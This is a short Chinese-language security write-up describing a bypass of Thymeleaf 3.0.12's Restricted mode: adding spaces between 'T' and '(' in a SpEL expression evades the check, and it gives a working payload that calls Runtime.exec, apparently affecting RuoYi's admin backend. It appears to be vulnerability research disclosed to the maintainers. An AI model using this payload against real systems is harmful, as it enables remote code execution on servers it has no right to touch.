3.0.12 Thymeleaf RCE Bypass(若依ruoyi最新版本后台RCE)

0x01 骚话

前段时间写了个EL表达式简单解析的程序,打算用来增强WAF,解决一些包含EL表达式的payload对WAF的绕过(利用字符串拼接、java语法trick等),刚看到Thymeleaf在3.0.12添加了Restricted mode用于限制一些静态方法和实例化的调用,好像跟我做的东西有一点点相似。所以,本着工匠精神,还是想研究了一下老外是怎么做的,所以打开了Thymeleaf的源码。

0x02 细节

重点源码在:

1
2
3
(thymeleaf)

org.thymeleaf.spring5.util.SpringStandardExpressionUtils#containsSpELInstantiationOrStatic


1
2
3
(thymeleaf-spring)

org.thymeleaf.standard.util.StandardExpressionUtils#containsOGNLInstantiationOrStatic

分别在两个类里面,这里简单的说说,thymeleaf工程内自带的是OGNL解析的实现,而thymeleaf-spring的工程,引入了SPEL解析的实现。

看了下两个方法的源码,竟如此雷同

本以为3.0.12是Thymeleaf RCE的终结,然而,仔细一看代码,发现很简单就可以绕过。。。

只要在T和(之间添加若干个空格字符,就能绕过检测了

所以,RCE的payload只是简单的多加几个空格:

1
${T (java.lang.Runtime).getRuntime().exec("whoami")}

0x03 其它

已经给官方提交issue了:https://github.com/thymeleaf/thymeleaf/issues/828